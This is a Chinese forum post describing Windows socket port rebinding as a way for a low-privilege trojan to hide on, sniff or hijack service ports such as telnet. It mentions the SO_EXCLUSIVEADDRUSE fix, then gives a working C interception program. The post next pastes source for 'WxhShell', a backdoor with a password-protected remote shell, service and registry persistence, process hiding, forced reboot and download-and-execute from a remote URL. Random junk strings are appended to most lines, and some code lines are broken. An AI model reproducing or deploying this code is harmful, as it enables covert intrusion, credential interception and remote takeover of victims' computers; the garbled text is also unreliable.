社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15416阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _{e&@ d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j|[(*i%7|  
(Ffb&GL  
  saddr.sin_family = AF_INET; Km)X_}|  
@7@e`b?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .Vo"AuC}  
z;dcAdz9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jCTy:q]  
(0E U3w?]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Ecxj9h,S  
.3{[_iTM  
  这意味着什么?意味着可以进行如下的攻击: |N:MZ#};  
'e.q 7Jpd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A&<?   
':l"mkd+`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e'1 ^+*bU  
rI0)F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K??1,I  
J3;Tm~KJ_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !2}rtDE  
;>9OgO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k)`$%[K8  
})@tA<+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2)wAFO6u  
f.| |PH  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S:ls[9G[3  
\Yj#2ww  
  #include TdQ ]G2  
  #include XtCoX\da  
  #include =G( *gx  
  #include    y7/PDB\he  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Kb-W tFx  
  int main() Ptx,2e&Hq  
  { n`%2Mj c  
  WORD wVersionRequested; 6|,e%  
  DWORD ret; kg<P t >  
  WSADATA wsaData; >SvDgeg_7f  
  BOOL val; H(G!t`K  
  SOCKADDR_IN saddr; "YJ[$TG  
  SOCKADDR_IN scaddr; Oe/6.h?  
  int err; %c]nWR+/  
  SOCKET s; Uz 0W <u3v  
  SOCKET sc; RI-A"cc6A  
  int caddsize; wW-Ab  
  HANDLE mt; 2\VAmPG.Zs  
  DWORD tid;   V1<ow'^i  
  wVersionRequested = MAKEWORD( 2, 2 ); h40'@u^W  
  err = WSAStartup( wVersionRequested, &wsaData ); 8O6_iGTBh  
  if ( err != 0 ) { ! .AhzU1%Y  
  printf("error!WSAStartup failed!\n"); 5C/2b.-[  
  return -1; ~LbS~_\C=  
  } Z!= L   
  saddr.sin_family = AF_INET; Y]N~vD  
   dIk' pA^d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 RlrZxmPV>O  
KbAR_T1n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pTWg m\h  
  saddr.sin_port = htons(23); U;g S[8,p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0#QKVZq2>  
  { IZ*}idlkn/  
  printf("error!socket failed!\n"); U/Wrh($ #4  
  return -1; <FUon  
  } vt.P*Z5  
  val = TRUE; thuRNYv <  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S ZlC4=6c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2Z)4(,  
  { Ry z?v<)h  
  printf("error!setsockopt failed!\n"); ?6f7ld5  
  return -1; w$j{Hp6m  
  } d ;^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l&L,7BX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 yl$F~e1W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~-_i  
i5"5&r7r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) edijfhn  
  { CvK3H\.&;k  
  ret=GetLastError(); ]tB@kBi "  
  printf("error!bind failed!\n"); y<uAp  
  return -1; +~Tu0?{Z 0  
  } <~{du ?4n  
  listen(s,2); @TzvT3\q  
  while(1) @vRwzc\   
  { X*F_<0RC1  
  caddsize = sizeof(scaddr); KVR~jF%  
  //接受连接请求 sb^mLH] 3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h/2/vBs  
  if(sc!=INVALID_SOCKET) A1),el-^5  
  { +-BwQ{92[:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); L0Y0&;y|R  
  if(mt==NULL) Fi2xr<7"  
  { 0{+.H_f`  
  printf("Thread Creat Failed!\n"); >2b`\Q*<  
  break; PD6_)PXn  
  } JoZ(_Jh%m  
  } 2&he($HIzg  
  CloseHandle(mt); mR% FqaN_  
  } VUtXxvH  
  closesocket(s); *k [J6  
  WSACleanup(); #HAC*n  
  return 0; 9b"MQ[B4#a  
  }   qMP1k7uG)  
  DWORD WINAPI ClientThread(LPVOID lpParam) _=EKXE)&}  
  { kWhr1wR1  
  SOCKET ss = (SOCKET)lpParam; 8Pmdk1 ~  
  SOCKET sc; IP3E9z_ L  
  unsigned char buf[4096]; .Z\Q4x#!Z  
  SOCKADDR_IN saddr; $,fy$ Qk,S  
  long num; %m&@o~+  
  DWORD val; AjkW0FB:1  
  DWORD ret; "m$3)7 $  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M Hi8E9_O  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `~# < &w  
  saddr.sin_family = AF_INET; wN=;i#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xY<{qHcX  
  saddr.sin_port = htons(23); iW%8/$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !H@0MQ7  
  { 2% B'3>a  
  printf("error!socket failed!\n"); o}$1Ay*q`  
  return -1;  ?K_ '@  
  } !w39FfU{  
  val = 100; x=q;O+7]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?D`T7KSe~D  
  { T/1gI9 X  
  ret = GetLastError(); K`g7$r)U[  
  return -1; lIRlMLuG  
  } V  ~@^`Gd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qS| \JG  
  { em{(4!W>  
  ret = GetLastError(); 72W s K"  
  return -1; &;&ho+qD  
  } )2IH 5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Az;t"  
  { r|u MovnV  
  printf("error!socket connect failed!\n"); v\tEVhm  
  closesocket(sc); iB[~U3  
  closesocket(ss); 9iUrnG*  
  return -1; 4JGtI*%5lq  
  } BZ54*\t  
  while(1) aJ") <_+  
  { V w||!d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 phnV7D(E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 6 5N~0t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .Z:zZ_Ev  
  num = recv(ss,buf,4096,0); ="wzq+U  
  if(num>0) d?`ny#,GB  
  send(sc,buf,num,0); PYbVy<xc  
  else if(num==0) fC,:{}  
  break; C CBfKp  
  num = recv(sc,buf,4096,0); FCi U  
  if(num>0) E;JsBH  
  send(ss,buf,num,0); Y2o?gug  
  else if(num==0) Oy U  
  break; ~cTN~<{dq  
  } s7Ub@  
  closesocket(ss); 5[0 O'%$  
  closesocket(sc); MjlP+; !  
  return 0 ; ![]`` g2  
  }  #wL  
g35DV6  
h%}/Cmx[  
========================================================== wr[,  
X.hm s?]  
下边附上一个代码,,WXhSHELL Oo"^%F~%  
~0beuK&p  
==========================================================  J5^'HU3  
K+;e4_\  
#include "stdafx.h" rM'=_nmi  
9E>xIJ@J2T  
#include <stdio.h> "@?? Fw!  
#include <string.h> X!e[GJ  
#include <windows.h> Q09[[  
#include <winsock2.h> Y.g59X!Ub2  
#include <winsvc.h> 1P~X8=9h  
#include <urlmon.h> +=O5YR!{  
tmQH|'>>  
#pragma comment (lib, "Ws2_32.lib") 0g0i4IV  
#pragma comment (lib, "urlmon.lib") xuqv6b.  
9 FB19  
#define MAX_USER   100 // 最大客户端连接数 eeyHy"@  
#define BUF_SOCK   200 // sock buffer R8ZK]5{o  
#define KEY_BUFF   255 // 输入 buffer 6@rMtQfI  
"rx-_uK*  
#define REBOOT     0   // 重启 3AU;>D^5  
#define SHUTDOWN   1   // 关机 9I6a"PGDb  
ILGMMA_2  
#define DEF_PORT   5000 // 监听端口 |Y?H A&  
"wNJ  
#define REG_LEN     16   // 注册表键长度 N@t|7~  
#define SVC_LEN     80   // NT服务名长度 Wk)OkIFR  
 R}O_[  
// 从dll定义API U4d:] z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `{dm;j5/y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vX/T3WV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a{L d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uG,5BV.M  
 |y(Q  
// wxhshell配置信息 &5yV xL:  
struct WSCFG { )h7<?@wv&  
  int ws_port;         // 监听端口 &litXIvT>  
  char ws_passstr[REG_LEN]; // 口令 !2ZF(@C /  
  int ws_autoins;       // 安装标记, 1=yes 0=no hb}+A=A=+  
  char ws_regname[REG_LEN]; // 注册表键名 \W~ N  
  char ws_svcname[REG_LEN]; // 服务名 1q7|OWFT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .+$ Q<L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8WXQ Oo8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M/b Sud?@%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8Vr%n2M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6 (]Dh;gC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fdFo#P  
 y3@H/U{  
}; k>;`FFQU>  
F1*>y  
// default Wxhshell configuration dYJ(!V&  
struct WSCFG wscfg={DEF_PORT, c2l@6<Ww  
    "xuhuanlingzhe", os=e|vkB*  
    1, %)1y AdG 8  
    "Wxhshell", z&zP)>Pv  
    "Wxhshell", ]Sf]J4eQ  
            "WxhShell Service", Y]'Z7<U}*E  
    "Wrsky Windows CmdShell Service", 0X6YdW_2X  
    "Please Input Your Password: ", ;U/&I3dzV  
  1, OP[  @k  
  "http://www.wrsky.com/wxhshell.exe", =$'6(aDH  
  "Wxhshell.exe" ]_f_w 9]  
    }; h4fJvOk|!  
j#!IuH\]  
// 消息定义模块 N G+GEqx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oH97=>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6]K_m(F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <cps2*'  
char *msg_ws_ext="\n\rExit."; , qMzWa  
char *msg_ws_end="\n\rQuit."; n] ._uza  
char *msg_ws_boot="\n\rReboot..."; ~!B\(@GU  
char *msg_ws_poff="\n\rShutdown..."; V5+=e^pa2  
char *msg_ws_down="\n\rSave to "; f,U.7E  
~~D{spMVO  
char *msg_ws_err="\n\rErr!"; "q3ZWNS'w  
char *msg_ws_ok="\n\rOK!"; - YEZ]:"  
,0 M_ Bk"  
char ExeFile[MAX_PATH]; WlOmJtt4)  
int nUser = 0; XWBA^|-N  
HANDLE handles[MAX_USER]; )1?y 8_B  
int OsIsNt; ejSji-Qd  
X8Bd3-B  
SERVICE_STATUS       serviceStatus; p $S*dr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $0W|26;  
d[iQ` YW5  
// 函数声明 zO-z%y  
int Install(void); S|Q@:r"  
int Uninstall(void); KjD/o?JUr  
int DownloadFile(char *sURL, SOCKET wsh); (p"%O  
int Boot(int flag); ; 5*&xz  
void HideProc(void); .73X3`P25  
int GetOsVer(void); =/@D8{pU  
int Wxhshell(SOCKET wsl); zYH&i6nj  
void TalkWithClient(void *cs); &l}^iP'%!  
int CmdShell(SOCKET sock); ju8> :y8  
int StartFromService(void); LQ@"Xe]5  
int StartWxhshell(LPSTR lpCmdLine); hZ|z|!g0  
1I%w?^sm_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g_;\iqxL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NDN7[7E  
1.}d.t  
// 数据结构和表定义 \;,_S+Fz8  
SERVICE_TABLE_ENTRY DispatchTable[] = z<MsKD0Q  
{ xVw9v6@`h  
{wscfg.ws_svcname, NTServiceMain}, =}~hWL  
{NULL, NULL} D(~U6SR  
}; em y[k  
H%[eV8  
// 自我安装 dB{Q" !  
int Install(void)  {y)=eX9  
{ ]}V<*f  
  char svExeFile[MAX_PATH]; ` ./$&'  
  HKEY key; 0- B5`=yU  
  strcpy(svExeFile,ExeFile); 4VHn  \  
kXViWOXU^  
// 如果是win9x系统,修改注册表设为自启动 0Fq} N  
if(!OsIsNt) { ~]sc^[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >>,e4s,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2_>N/Z4T  
  RegCloseKey(key); 1 s\Wtw:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ${DUCud,kY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L7l FtX+b  
  RegCloseKey(key); n3WlZ!$  
  return 0; oe^I  
    } <3n Mx^  
  } [DuttFX^x  
} rm7ANMB:  
else { Zj(AJ*r  
b 1c y$I  
// 如果是NT以上系统,安装为系统服务 'B |JAi?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y_liA  
if (schSCManager!=0) "MeVE#O  
{ +L$Xv  
  SC_HANDLE schService = CreateService =F|{# F  
  ( KM, \  
  schSCManager, 6bg ;q(*7  
  wscfg.ws_svcname, & l<.X  
  wscfg.ws_svcdisp, !aUs>1i  
  SERVICE_ALL_ACCESS, PI {bmZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8]c2r%J  
  SERVICE_AUTO_START, gb1V~  
  SERVICE_ERROR_NORMAL, KYm0@O>;  
  svExeFile, +|3@=.V  
  NULL, `bq<$e  
  NULL, hPB9@ hT$  
  NULL, h4gXvPS&r  
  NULL, ic:zsuEm  
  NULL '@v\{ l  
  ); E_rI?t^  
  if (schService!=0) C[cbbp  
  { As&Sq-NWf  
  CloseServiceHandle(schService); ^dWa;m]l  
  CloseServiceHandle(schSCManager); gjyYCjF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |d2SIyUc  
  strcat(svExeFile,wscfg.ws_svcname); +fB5w?Rg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Oi.C(@^(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FjHv   
  RegCloseKey(key); BKCiIfkZ  
  return 0; au(D66VO  
    } Z?q] bSIT  
  } u {cW:  
  CloseServiceHandle(schSCManager); {lzWrUGO  
} o'aEY<mZ7  
} dES"@?!^  
5DU6rks%  
return 1; y-b%T|p9  
} rBzuKQK}J  
HVCe;eI  
// 自我卸载 C3f' {}  
int Uninstall(void) L[fiU0^o  
{ p$c6<'UqH  
  HKEY key; x j)F55e?  
nc29j_Id  
if(!OsIsNt) { ]jQutlg|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .hb:s,0mP  
  RegDeleteValue(key,wscfg.ws_regname); net@j#}j-  
  RegCloseKey(key); Qy<P463A(l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sE<V5`Z=  
  RegDeleteValue(key,wscfg.ws_regname); BwEN~2u6  
  RegCloseKey(key); Pj^{|U21  
  return 0; ^Z+?h &%%  
  } 1-uxC^u?|#  
} -7[@R;FS  
} RLXL&  
else { +o{R _  
UgSB>V<?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NNR`!Pty  
if (schSCManager!=0) |A~jsz6pI  
{ 1=c\Rr9]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x+:UN'"r  
  if (schService!=0) re?,Wext\  
  { n,(sBOQ  
  if(DeleteService(schService)!=0) { SM#]H-3  
  CloseServiceHandle(schService); n)-$e4u2  
  CloseServiceHandle(schSCManager); T*Exs|N2P-  
  return 0; HZB>{O  
  } aiUY>M#|  
  CloseServiceHandle(schService); =:Fc;n>c<K  
  } $9#H04.x  
  CloseServiceHandle(schSCManager); x /S}Q8!"}  
} \ZFGw&yN  
} (Z q/  
)[6U^j4  
return 1; ]@c+]{  
} =[{i{x|Qz  
iN\4gQ!  
// 从指定url下载文件 4r#= *  
int DownloadFile(char *sURL, SOCKET wsh) 8 +/rlHp  
{ {hjhL: pg  
  HRESULT hr; .t-4o<7 3  
char seps[]= "/"; n1t*sk/J  
char *token; }5[qo`M  
char *file; (O?.)jEW(.  
char myURL[MAX_PATH]; faX#**r  
char myFILE[MAX_PATH]; LVfF[  
%QGC8Tz  
strcpy(myURL,sURL); w~A{(- dx  
  token=strtok(myURL,seps); BWa,f8  
  while(token!=NULL) ?0?#U0(;u  
  { 0B/,/KX  
    file=token; =F~S?y  
  token=strtok(NULL,seps); gIa+5\qYY  
  } *[Tz![|  
H3 ^},.  
GetCurrentDirectory(MAX_PATH,myFILE); <tNBxa$gS  
strcat(myFILE, "\\"); 5E;qM|Ns  
strcat(myFILE, file); ? 7n`A >T  
  send(wsh,myFILE,strlen(myFILE),0); vn!3l1\+J  
send(wsh,"...",3,0); k8[n+^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mbxZL<ua  
  if(hr==S_OK) C.yQ=\U2  
return 0; HGs $*  
else @/.;Xw]  
return 1; 6+|do+0Icg  
ox~o J|@  
} 3g,`.I_  
_Xc8Yg }`  
// 系统电源模块 :Zbg9`d*  
int Boot(int flag) jh%Eq+#S  
{ x(6SG+Kr  
  HANDLE hToken; '(f*2eE:  
  TOKEN_PRIVILEGES tkp; kR-SE5`Jk  
{ ]{/t-=  
  if(OsIsNt) { ]I dk:et  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5y [Oj^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9@(PWz=`?  
    tkp.PrivilegeCount = 1; wedbx00o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t7Iv?5]N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); IqaT?+O\?r  
if(flag==REBOOT) { {yHCXFWlS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XK3tgaH  
  return 0; XkE`U5.  
} JV^=v@Z3  
else { \5:i;AE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5h=}j  
  return 0; %~H-)_d20  
} ?}tFN_X"  
  } a`E#F] Z  
  else { qs6]-  
if(flag==REBOOT) { p Z|V 3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +NZ_D#u  
  return 0; x;P_1J%Q  
} .\ULbN3Z  
else { d9f C<Tp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XH4  
  return 0; %+W{iu[|  
} r1`x=r   
} |P HT694Uz  
f;o5=)Y  
return 1; eCU:Q  
} "Y =;.:qe  
_ @NL;w:!  
// win9x进程隐藏模块 kzQ+j8.,U  
void HideProc(void) GX!G>  
{ jUYWrYJ  
Ju!]&G8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ar!R|zmf  
  if ( hKernel != NULL ) *k(XW_>  
  { *SbMqASv4G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cx@);4arj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q^9_' t}X  
    FreeLibrary(hKernel); Xv5wJlc!d  
  } r"3=44St  
)np:lL$$  
return; wj$<t'MN  
} v!-/&}W)1  
M>xK+q?O  
// 获取操作系统版本 TVtvuvQ2K  
int GetOsVer(void) D(@S+r_ota  
{ O'p9u@kc  
  OSVERSIONINFO winfo; ` xEx^P^7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r4b 6 c  
  GetVersionEx(&winfo); MC&` oX[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  c(f  
  return 1; &v/dj@   
  else :\`o8`  
  return 0; t:x\kp  
} UawyDs  
kYP#SH/  
// 客户端句柄模块 #K_ii)n  
int Wxhshell(SOCKET wsl) 2G & a{  
{ FJ GlP&v<  
  SOCKET wsh; 7FP*oN?  
  struct sockaddr_in client; b4%??"&<Y  
  DWORD myID; P+ 3G~Sr  
a{'vN93  
  while(nUser<MAX_USER) ,B*EVN  
{ Jc&{`s^Nu  
  int nSize=sizeof(client); a_^\=&?'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kr^P6}'  
  if(wsh==INVALID_SOCKET) return 1; fZGX}T<)p-  
:%_LpZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7J D' )  
if(handles[nUser]==0) :DK {Vg6  
  closesocket(wsh); L~(j3D* 3  
else !]A  
  nUser++; U|H=Y"pL  
  } [NjXO`5#]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G=s}12/Z"{  
^lnK$i  
  return 0; nY[WRt w  
} XFVE>/H  
p}}R-D&K  
// 关闭 socket x xHY+(m  
void CloseIt(SOCKET wsh) '|6]_   
{ @(EAq<5{  
closesocket(wsh); 1SQ3-WU s  
nUser--; wyH[x!QX  
ExitThread(0); p#ZCvPE;uH  
} //up5R_nx  
F>SRs=_  
// 客户端请求句柄 Pa>AWOG'  
void TalkWithClient(void *cs) nmee 'oEw  
{ ].avItg  
5ORo3T%  
  SOCKET wsh=(SOCKET)cs; f=+mIZ  
  char pwd[SVC_LEN]; nUaJzPl  
  char cmd[KEY_BUFF]; )NW)R*m~D  
char chr[1]; rET\n(AJ  
int i,j; d(ZO6Nr Q  
% :f&.@'r  
  while (nUser < MAX_USER) { (q/e1L-S  
u4cnE"  
if(wscfg.ws_passstr) { B6+khuG(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P_^ +A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B&M%I:i  
  //ZeroMemory(pwd,KEY_BUFF); J/`<!$<c  
      i=0; J'6PmPzY|  
  while(i<SVC_LEN) { (!u~CZ;  
.fqN|[>  
  // 设置超时 @(w@e\Bq  
  fd_set FdRead; 1/B>XkCJ  
  struct timeval TimeOut; (Bb5?fw  
  FD_ZERO(&FdRead); LG9+GszX 2  
  FD_SET(wsh,&FdRead); vQG5*pR*w  
  TimeOut.tv_sec=8; zy?|ODM  
  TimeOut.tv_usec=0; sPpH*,(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); e-/&$Qq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dw>C@c#"  
l+K'beP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gT{Q#C2Baw  
  pwd=chr[0]; FW;?s+Uyx  
  if(chr[0]==0xd || chr[0]==0xa) { >{n,L6_ t  
  pwd=0; :1Xz4wkWS*  
  break; q CC.^8  
  } ah$b [\#C  
  i++; Vi$~-6n&  
    } 23eX;gL  
w>&aEv/f  
  // 如果是非法用户,关闭 socket  R Z?jJm$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fSj5ZsO  
} [ZwjOi:)  
bjW]bRw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;W )Y OT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !x=~g"d<&  
r EE1sy/#  
while(1) { ;\dBfP  
j?\Qh  
  ZeroMemory(cmd,KEY_BUFF); Q~]uC2Mw  
wh`"w7br  
      // 自动支持客户端 telnet标准   ;u ({\K  
  j=0; 9MJG;+B~  
  while(j<KEY_BUFF) { z6\UGSL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /)>3Nq4Zx  
  cmd[j]=chr[0]; <?.&^|kS  
  if(chr[0]==0xa || chr[0]==0xd) { ?pmHFlx  
  cmd[j]=0; Hyl%mJ  
  break; 9d659i C  
  } M#6W(|V/  
  j++; 1<@W6@]  
    } `wEb<H  
,AFu C <  
  // 下载文件 N/2 T[s_&  
  if(strstr(cmd,"http://")) { V!A~K   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]y '>=a|T  
  if(DownloadFile(cmd,wsh)) w+|L+h3L7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %)W2H^  
  else B%b4v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ES7>H  
  } {rw|#Z>A  
  else { lvz7#f L~  
7(8;t o6(  
    switch(cmd[0]) { _7 L-<  
  @o _}g !9=  
  // 帮助 Rtl"Ub@HV  
  case '?': { /nNN,hz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *)T^Ch D,  
    break; S`0(*A[W*  
  } -;m0R  
  // 安装 E,U+o $  
  case 'i': { <0&*9ZeD  
    if(Install()) JIOR4'9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WiR(;m<g  
    else )23H1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .}TZxla0Zr  
    break; 6j]0R*B7`Q  
    } ZDYJ\}=  
  // 卸载 '8H4shYg  
  case 'r': { 9IfmW^0  
    if(Uninstall()) )U:m:cr<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >W+%8e  
    else Vaw+.sG`AP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P* BmHz4KL  
    break; FbFPJ !fb  
    } 051 E6-  
  // 显示 wxhshell 所在路径 +.FEq*V  
  case 'p': { WO>nIo5Y  
    char svExeFile[MAX_PATH]; A[{yCn`tM  
    strcpy(svExeFile,"\n\r"); h]}wp;Z  
      strcat(svExeFile,ExeFile); {]@= ijjf  
        send(wsh,svExeFile,strlen(svExeFile),0); mL{6L?  
    break; fxHH;hRfv  
    } O-hAFKx  
  // 重启 Z0", !6nS  
  case 'b': { y/7\?qfTk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0znR0%~  
    if(Boot(REBOOT)) qt"m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]oV"`f  
